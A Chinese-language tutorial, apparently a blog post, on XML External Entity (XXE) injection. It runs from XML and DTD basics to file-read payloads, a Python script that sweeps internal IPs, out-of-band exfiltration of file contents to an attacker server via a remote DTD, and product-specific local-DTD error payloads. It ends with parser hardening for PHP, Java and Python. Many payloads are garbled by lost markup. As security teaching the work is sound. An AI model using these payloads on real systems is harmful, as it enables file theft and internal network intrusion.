@TOC
XXE漏洞
全程为XML External Entity Injection ,也就是XML外部实体注入漏洞
。
百度百科
可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
简单来说,它是一种语言,表现形式类似于HTML(超文本标记语言) ,而XML和HTML的差别在于,HTML是用于展示数据和页面,而XML是为了更好的存储和传输数据。
HTML的容错能力使得格式可以不必十分规范,例如有时可能忘记闭合标签了也不会出错。而XML语法就严格很多。
所有的XML文档均由以下简单的构建模块构成:
<元素名>值元素名>
举个例子,下面代码中有两个元素,body
和message
,其中body
的值为123
,message
的值为abc
。
<body>123body>
<message>abcmessage>
属性可提供有关元素的额外信息。
属性总是被置于某元素的开始标签中。属性总是以名称/值的形式成对出现的。下面的 “img” 元素拥有关于源文件的额外信息:
<img src="study.gif" />
元素的名称是 “img” 。属性的名称是 “src”。属性的值是 “study.gif” 。由于元素本身为空,它被一个 “/” 关闭。
实体是用来定义普通文本的变量,在XML中的格式如下:
<元素名>&实体名;元素名>
即&
开头,中间是名字,以 ;
结尾
那怎么理解实体呢?
简单来说,就相当于我们学C语言的时候,定义一个变量,并给该变量赋值,以后我们就通过该变量名来引用值
举个例子,我们在xml中,定义了一个变量名为<
,给它赋值为<
,那么我们使用<
的时候,就相当于用<
了。
那么为什么不直接使用<
,而用<
替代呢?很简单,因为<
和xml语法规则冲突了,解析器会把<
当作新元素的开始,举个例子:
正常来说,我们在xml中定义一个元素如下:
<body>if salary = 100 thenbody>
现在我们要修改body
的值为if salary < 100 then
,难道我们要这样改?
<body>if salary < 100 thenbody>
如果按照上面的改法,<
都不配对了,都不满足xml的元素格式了。
所以改成下面这个样子,就不会和语法冲突了
<body>if salary < 100 thenbody>
当上面的xml被解析的时候,<
就会被替换成<
了。
XML预定义了下面五个实体引用,当文档被XML解析器解析时,实体就会被展开。
实体引用 | 字符 |
---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
’ |
当然,最重要的一点是,我们可以使用DTD声明使用实体!!
可把数据理解为XML元素的开始标签与结束标签之间的文本。
除了CDATA
区段中的文本会被解析器忽略之外,XML文档中的其他文本均会被解析器解析。
所以可以把数据分成可以解析
的和不能解析
两种。
PCDATA
的意思是被解析的字符数据(parsed character data)
。
PCDATA是会被XML解析器解析的文本,文本中的标签会被当作标记来处理,而实体会被展开。
简单来说,就是当某个XML元素被解析时,其标签之间的文本也会被解析,如下:
<name> <first>Billfirst><last>Gateslast> name>
// <name> 元素包含着另外的两个元素(first 和 last)
解析器会把它分解为像这样的子元素:
<name>
<first>Billfirst>
<last>Gateslast>
name>
也正因为如此,如果被解析的字符数据中包含&
、<
、或者>
之类的字符,则需要使用&
、<
以及>
实体来分别代替它们。
CDATA
的意思是字符数据(character data)
在XML中,指定某段内容不必被XML解析器解析时,使用。也就是说中括号中的内容,解析器不会去分析。所以其中可以包含
>
、<
、'
、"
、&
这五个特殊字符。经常把一段程序代码嵌入到中。因为代码中可能包含大量的
>
、<
、'
、"
这样的特殊字符。
例如在XML中声明:
<script>
<![CDATA[
if(i<10){
printf("i<10");
}
]>
script>
在XML中DTD(文档类型定义) 的作用是定义XML文档的合法构建模块。它使用一系列合法的元素来 定义文档的结构。
DTD文件对当前XML文档中的节点进行了定义,这样我们配置文件之前,可通过指定的DTD对当前XML中的节点进行检查,确定XML结构和数据类型是否合法。
DTD(文档类型定义)部分,规定了文档元素里的数据类型,以及可以出现哪些元素。
简单来说,DTD就是定义了我们的XML长啥样子!
在DTD中,XML的元素通过元素声明来进行声明。元素声明使用下面的语法:
<!ELEMENT 元素名 类别>
或
<!ELEMENT 元素名(子元素)>
空元素通过类别关键词EMPTY
进行声明:
<!ELEMENT element-name EMPTY>
例子如下:
DTD:
<!ELEMENT br EMPTY>
XML:
<br/>
只有PCDATA的元素通过圆括号中的 #PCDATA 进行声明:
<!ELEMENT element-name (#PCDATA)>
例子如下:
<!ELEMENT from (#PCDATA)>
通过类别关键词ANY
声明的元素,可包含任何可解析数据的组合:
<!ELEMENT element-name ANY>
例子如下:
<!ELEMENT note ANY>
带有一个或多个子元素的元素通过圆括号中的子元素名进行声明:
<!ELEMENT element-name (child1)>
或
<!ELEMENT element-name (child1,child2,...)>
例子如下:
<!ELEMENT note (to,from,heading,body)>
当子元素按照由逗号分隔开的序列进行声明时,这些子元素必须按照相同的顺序出现在文档中。在一个完整的声明中,子元素也必须被声明,同时子元素也可拥有子元素。"note"元素的完整声明是:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEENT body (#PCDATA)>
假如DTD(文档类型定义)被包含在您的XML源文件中,它应当通过下面的语法包装在一个DOCTYPE
声明中:
带有DTD的XML文档实例如下:
<!DOCTYPE note [
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]]]>
<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>
假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE
定义中:
这个XML文档和上面的XML文档相同,但是拥有一个外部的DTD:
<note>
<to>Toveto>
<from>Janifrom>
<heading>Reminderheading>
<body>Don't forget me this weekend!body>
note>
那个外部DTD note.dtd
文件如下:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
还记得前面讲过的<
这个代表>
的实体吗?现在我们可以在DTD中自定义了。
语法:
<!ENTITY 实体名称 “实体的值”>
实例:
<!DOCTYPE foo [
<!ENTITY xxe "Thinking">
]>
在DTD中定义,在XML文档中引用
语法:
实例:
//将www.runoob.com中的dtd文件包含进当前文件里,类似与php的文件包含
<reset>
<login>&test;login>
<secret>loginsecret>
reset>
上面两种均为引用实体,主要在XML文档中被引用。
引用方式: &实体名称; ,末尾要带上分号,这个引用将直接转变成实体内容。
可以看出,外部实体是可以直接访问外部dtd文件的,而外部实体注入正是利用了这一点。
语法:
<!ENTITY % 实体名称 “实体的值”> //内部参数实体声明
//外部参数实体声明
% 实体
(这里面空格不能少)在DTD中定义,并且只能在DTD中使用%实体名;
引用。例子:
<!ENTITY XXE "%body;">
]>
<reset>
<secret>loginsecret>
reset>
参数实体在Blind XXE中起到了至关重要的作用
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
语法:
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
假设有个应用有一个很简单的功能,html有个表单提交,如下:
<login>
<user>adminuser>
<pass>123pass>
login>
服务端接收该xml之后,将其中的用户名和密码解析出来
libxml_disable_entity_loader (false);
//若为true,则表示禁用外部实体
$xmlfile = file_get_contents('php://input');
//可以获取POST来的数据
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo "Username: ".$creds->user."";
echo "Password: ".$creds->pass;
?>
效果如下图所示:
当然这是正常的操作,如果我是黑客,我们会怎么做呢?给这个xml加上一段dtd,让xml解析器解析我们引入的外部实体,这样,我们想读哪个文件,就可以读哪个文件。
]>
<login>
<user>&xxe;user>
<pass>mypasspass>
login>
效果如下:
XXE漏洞全称XML External Entity Injection即XML外部实体注入漏洞
,XXE漏洞发生在应用程序解析XML输入
时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等。
XXE漏洞触发的点往往是可以上传xml文件的位置
,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
在本地新建一个flag.txt
libxml_disable_entity_loader(false); //若为false,则表示不禁用外部实体
$xmlfile = file_get_contents('php://input'); //可以获取POST来的数据
$dom = new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
<?xml
hack[
]>
<hack>&file;hack>
?>
结果如下图所示:
因为这个flag.txt
文件没有什么特殊符号,于是我们读取的时候可以说是相当的顺利,我要是给这个文件加上一些特殊字符呢?
# /etc/fstab: static file system information.
# # <file system> <mount point> <type> <options> <dump> <pass>
proc /proc proc defaults 0 0 /dev/hda2 /
ext3 defaults,errors=remount-ro 0 1 ...
flag{This_is_flag}
可以看到,不但没有读到我们想要的文件,而且还报错了。怎么办?
因为我们用的是PHP,自然而然的想到了PHP的伪协议:
<?xml version="1.0"?>
<!DOCTYPE hack[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=e://flag.txt">
]>
<hack>&file;</hack>
什么是PHP伪协议?
PHP伪协议事实上就是支持的协议与封装协议(12种)
a. file:// — 访问本地文件系统
b. http:// — 访问 HTTP(s) 网址
c. ftp:// — 访问 FTP(s) URLs
d. php:// — 访问各个输入/输出流(I/O streams)php://filter(用于读取源码)
e. zlib:// — 压缩流
…
效果如下:
IyAvZXRjL2ZzdGFiOiBzdGF0aWMgZmlsZSBzeXN0ZW0gaW5mb3JtYXRpb24uDQojICMgPGZpbGUgc3lzdGVtPiA8bW91bnQgcG9pbnQ+IDx0eXBlPiA8b3B0aW9ucz4gPGR1bXA+IDxwYXNzPg0KcHJvYwkvcHJvYwlwcm9jIGRlZmF1bHRzCTAJMCAvZGV2L2hkYTIJLw0KZXh0MwlkZWZhdWx0cyxlcnJvcnM9cmVtb3VudC1ybyAwCTEgLi4uDQpmbGFne1RoaXNfaXNfZmxhZ30=
把上面这个拿去base64解码,就可以看到内容了。
那除了PHP伪协议,还有什么方法吗?这时候就要祭出神器-----CDATA
CDATA
里面的内容是不会解被XML解析器解析的。所以如果我们要读取的文件中包含特殊字符,可以用CDATA
包起来。
首先,我们来找到问题所在,看看为什么之前不能读取到含有特殊字符的文件
]>
<hack>&file;hack>
因为这里引用了可能会引起xml格式混乱的字符,(在XML中,有时实体内包含了一些特殊字符,如&,<,>,",‘等。这些均需要对其进行转义,否则会对XML解释器生成错误。)所以之前读取文件会失败报错。我们这里尝试在引用的两边加上 和
]]>
,使用多个实体连续引用的方法进行尝试。
<!ENTITY end "]]>"> ]>
<hack>&start;&goodies;&end;hack>
结果如下:
注意,这里面的三个实体都是字符串形式,连在一起报错了,这说明我们不能在xml中进行拼接,而是需要在拼接以后再在xml中调用,那么想在DTD中拼接,我们知道我们只有一种选择,就是使用参数实体
。
payload:
<!ENTITY % end "]]>">
%dtd;
]>
<hack>&all;hack>
evil.dtd
<!ENTITY all "%start;%goodies;%end;">
我们先来简单分析下这段payload:
< !DOCTYPE hack
定义此文档是hack
类型的文档start,goodies,end
,其中goodies
的值是flag.txt
文件的内容。dtd
%dtd;
,即会访问http://localhost://8081/test/evil.dtd
,声明了一个实体all
,其值是那三个实体的调用dtd
那个实体xml
中调用了all
实体->调用那三个实体中的start
->start
被替换成了->调用goodies
->goodies
被替换成flag.txt
的内容->调用end
->end
被替换成]]>
->然后三个替换的值拼接在一起->all
被替换成了拼接在一起的值
<hack>
hack>
hack
之间的内容结果如下图:
我们以存在XXE漏洞的服务器为我们探测内网的支点。
要进行内网探测我们还需要做一些准备工作,我们需要先利用php伪协议
读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子
以Linux为例,我们可以尝试读取/etc/network/interfaces 或者/proc/net/arp或者/etc/host文件以后我们就有了大致的探测方向了。
]>
<creds>&goodies;creds>
根据响应的时间的长短判断主机是否存在,可以通过burp重放遍历端口
下图可以看到,因为192.168.82.135
是我的虚拟机,所以主机存在,响应时间较短968ms
。
然后将ip改成一个不存在的192.168.82.136
,发现响应时间变成了20.97s
import requests
import base64
#Origtional XML that the server accepts
#
# user
#
def build_xml(string):
xml = """"""
xml = xml + "\r\n" + """"""
xml = xml + "\r\n" + """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """"""
xml = xml + "\r\n" + """ &xxe; """
xml = xml + "\r\n" + """"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
# 这里的超时设置成 5s, 可以根据实际情况修改
x = requests.post('http://localhost:8081/test/xxe.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
找到了内网的一台主机,想要知道攻击点在哪,我们还需要进行端口扫描,端口扫描的脚本和主机探测的脚本几乎没有什么变化,只要把ip地址固定,然后循环遍历端口就行了
这里为了方便演示,Metasploitable2启动
]>
<creds>&goodies;creds>
根据响应的时间长短判断端口是否开放,可以通过burp重放遍历端口;如果有报错,可以直接探测出banner信息。
这里用dvwa的login.php页面演示
]>
<creds>&goodies;creds>
可以看到这里将源码进行base64编码读取了出来
如果没有回显,我们如何外带
出获得数据呢?
首先,我们设置一个变量%file
用来承接读取到的内容
接着,对我们的vps服务器发起一次get请求,并且拼接上数据去请求,不就可以外带数据了吗?
按照思路,我们可以构造如下语句,似乎没什么问题?
%send;
]>
但是实际上上面的语句是不正确的,由于同级的参数不会被解析,所以不行
<?xml? version="1.0">
% send SYSTEM 'http://192.168.82.131/?%file;'>">
%exp;
%send;
]>
嵌套的%
需要进行实体编码
,这里%
可以转换成十六进制的%
也可以转换成十进制的%
在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部
,否则XML解析器会报错
也就是说%file
是参数实体,引用不可以出现在exp元素声明
的内部。
于是,将exp元素声明在可控的服务器上,作为一个外部a.dtd文件。
% send 'http://192.168.82.131/?%file;'>">
%exp;
然后将payload改成如下所示:
%get;
%send;
]>
先引用了%get
对象,发起请求,加载了a.dtd
,而a.dtd
中声明并引用了%exp
,接着在exp
中声明了send
,最后send
里有file
可以看到服务器有两条记录,首先是获取a.dtd,然后第二次又发起了一起请求,外带出了数据。
上述的方法,是远程加载了一个DTD文件。如此做的原因在于参数实体引用只能和元素同级而不能直接出现在元素内部。
我们将如下语句写在了可控的服务器上,进行远程获取,这样就避免了这个问题。
% send SYSTEM 'http://192.168.82.131/?%file;'>">
%exp;
同理,那么只要引入一个文件,不管是本地还是远程文件,目的是在于绕过上述限制。于是我们可以引用本地的dtd文件重写里面的DTD实体,即可达到和上述一样的效果。
如果发现任何DTD文件已经存在于目标服务器文件系统的某个位置,该文件由参数实体(例如)组成,并且在该DTD本身的某个位置被引用(例如
)。然后,我们基本上可以覆盖该实体的内容,而只需在OOB中的外部
evil.dtd
中编写将要执行的操作。
例如如果服务器上存在/usr/share/xyz/legit.dtd
:
...
<!ENTITY % injectable "something">
...
<!ENTITY % random (%injectable;)>
...
如果在XXE中添加如下内容:
<!ENTITY % injectable 'injecting)> YOU Control Contents inside this DTD now! <!ENTITY % fake ('>
%x;
]>
<root>
...
root>
然后,解析的XML内容将从现在变为
You Control Contents inside this DTD now!
因为我们在Windows环境下,所以,我们可以找C:/WINDOWS/system32/wbem/xml/cim20.dtd
这个dtd文件
打开这个文件,可以找到一个参数实体SuperClass
的定义
<!ENTITY % SuperClass '>这里写DTD代码<!ENTITY test "test"'>
%local_dtd;
下面的payload利用了报错,传入了一个不存在的文件路径abcxyz爆出了内容:
<!ENTITY % SuperClass '>
% file SYSTEM "php://filter/read=convert.base64encode/resource=file:///e:/flag.txt">
% eval "% error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ENTITY test "test"'>
%local_dtd;
]>
<message>any textmessage>
Linux系统
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
payload一般如下:
% error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
Windows系统
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
思科WebEx
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
Citrix XenMobile服务器
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
多平台IBM WebSphere应用
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
XXE漏洞主要针对Web服务危险的引用了外部实体并且对外部实体没有进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。
甄别那些接受XML作为输入内容的端点。但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP请求,修改Content-Type头部字段(application/xml
)等方法,然后看应用程序的响应,看程序是否解析了发送的内容,如果解析了,就有可能存在XXE攻击漏洞。
例如wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2).不过现实中存在的大多数XXE漏洞都是blind,即不可见的。必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台公网ip的主机。
第一步:检测XML是否会被成功解析
]>
<root>&name;root>
如果页面输出了My name is XXE
。说明XML文件可以被解析。
第二步:检测服务器是否支持DTD引用外部实体
<!xml version="1.0" encoding="UTF-8">
%name;
]>
可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求index.html请求
。